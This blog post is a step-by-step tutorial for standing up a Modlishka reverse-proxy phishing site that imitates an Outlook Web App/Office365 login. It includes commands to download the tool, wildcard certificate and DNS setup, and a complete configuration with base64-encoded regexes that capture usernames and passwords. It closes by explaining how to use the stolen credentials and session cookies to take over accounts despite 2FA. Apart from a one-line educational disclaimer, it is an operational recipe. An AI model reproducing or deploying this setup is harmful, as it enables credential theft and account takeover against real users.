Phishing 101 with Modlishka
Very recently I got a chance to get my hands dirty on Modlishka, thanks to some awesome people at my workplace π€
For those who arenβt aware Modlishka is a powerful and flexible HTTP reverse proxy that has a universal 2FA βbypassβ support.
It allows to transparently proxy multi-domain destination traffic, both TLS & non-TLS, over a single domain, without a requirement of installing any additional certificate on the client. Enough of technical jargons β¦
Requirements
β β β β β β β β
I needed to setup a fake Outlook Web App login pageβ¦
With time I realized that the Modlishka default templates are little bit outdated and it took me some time and effort to get it up & working again so I decided to blog about it :)
Setup
β β β β
- We will create a new Digital Ocean droplet.
2. After we ssh in, we will install certbot and download the Modlishka standalone binary as well as the default config file
apt-get update && apt-get install certbotwget https://github.com/drk1wi/Modlishka/releases/download/v.1.1.0/Modlishka-linux-amd64chmod +x Modlishka-linux-amd64wget https://github.com/drk1wi/Modlishka/releases/download/v.1.1.0/Modlishka-linux-amd64wget https://raw.githubusercontent.com/drk1wi/Modlishka/master/templates/office365.json
Generating wild-card SSL certificates
β β β β β β β β β β β β β β β β β β β β β β
Suppose that we own the domain redacted.com and we wish generate a wild card SSL certificate that allow us to secure multiple sub domain names (hosts) pertaining to the same base domain. For that we will use https://letsencrypt.org/
certbot certonly --manual --preferred-challenges=dns --server https://acme-v02.api.letsencrypt.org/directory --agree-tos -d *.redacted.com --email basu@gmail.com
This will generate a challenge code as shown below:
Adding DNS records
β β β β β β β β β β β β
In total we need to create three DNS records:
- A record for the root host
@
that will point to the droplet IP - CNAME record for any subdomain
*
pointing to@
- TXT record for redacted.com according to the challenge code shown above
Fixing certificate formats
β β β β β β β β β β β β β β β
Once the TXT record is set and verified, the certificate and the private key will be generated. However Modlishka wants them in a different format so letβs convert it accordingly:
cp -r /etc/letsencrypt/live/redacted.com/* /root/awk '{printf "%s\\n", $0}' fullchain.pemawk '{printf "%s\\n", $0}' privkey.pem
Open office365.json and copy the result of the awkβd command from fullchain.pem
into cert
parameter and privkey.pem
into certKey
parameter.
Fixing the configuration
β β β β β β β β β β β β β β
The Modlishka Office365 template in Github doesnβt parse the username and password by itself and needs some tweaking π€
We see that owa based authentication does a POST request at the owa/auth.owa
endpoint.
In order to grab the credentials so we need to adjust Modlishkaβs credParams configuration using regex that can be verified from https://regex101.com/
username=([^\W]+[\.,\-,\_]{0,}\w+[\@,\%40]\w+[\.,\-,\_]{0,}\w+\.\w{2,5})
password=([a-zA-Z0-9"!"#$%&'()*+,-./:;<=>?@^_{|}~]+)&passwordText
Now we will add these base64 encoded values inside credParams separated by a comma.
βcredParamsβ: βdXNlcm5hbWU9KFteXFddK1tcLixcLSxcX117MCx9XHcrW1xALFwlNDBdXHcrW1wuLFwtLFxfXXswLH1cdytcLlx3ezIsNX0p,cGFzc3dvcmQ9KFthLXpBLVowLTkiISIjJCUmJygpKissLS5cLzo7PD0+P0BeX3t8fX5dKykmcGFzc3dvcmRUZXh0β
Full configuration without the certificate and key:
{
//domain owned and controlled by you
"proxyDomain": "redacted.com",
"listeningAddress": "0.0.0.0",
"proxyAddress": "", //actual target domain which you want to spoof
"target": "target.com",
"targetResources": "",
"rules": "by5zZXRBdHRyaWJ1dGUoImludGVncml0eSI=:by5zZXRBdHRyaWJ1dGUoImludGVnZHJpdHki,aW50ZWdyaXR5PQ==:aW50ZWdyaWN0eT0=,PC9oZWFkPg==:",
//endpoints maybe mentioned that will trigger a terminate on successful login
"terminateTriggers": "", //after termination victim can redirected to any arbitrary URL
"terminateRedirectUrl": "",
"trackingCookie": "id",
"trackingParam": "id",
"jsRules":"",
"jsReflectParam": "reflect",
"debug": false,
"forceHTTPS": false,
"forceHTTP": false,
"dynamicMode": false,
"logPostOnly": false,
"disableSecurity": false,
"log": "ms.log",
"plugins": "all",
"credParams": "dXNlcm5hbWU9KFteXFddK1tcLixcLSxcX117MCx9XHcrW1xALFwlNDBdXHcrW1wuLFwtLFxfXXswLH1cdytcLlx3ezIsNX0p,cGFzc3dvcmQ9KFthLXpBLVowLTkiISIjJCUmJygpKissLS5cLzo7PD0+P0BeX3t8fX5dKykmcGFzc3dvcmRUZXh0",
"cert": "", //awk'd version of fullchain.pem
"certKey": "", //awk'd version of privkey.pem
"certPool": ""
}
Pwnage
β β β β β
Letβs get the modlishka up and runningβ¦
Finally after the victim has logged in using our Modlishka proxy page we can find the stolen credentials not only via logs but also via the /SayHello2Modlishka
endpoint.
Now we can use their credentials directly to log into our target domain or use their cookies and feed them to a cookie editor and refresh the page to get logged in automatically.
Disclaimer
β β β β β β β
This demo is only for demonstration and education purposes. Do not use these instructions to anything illegal.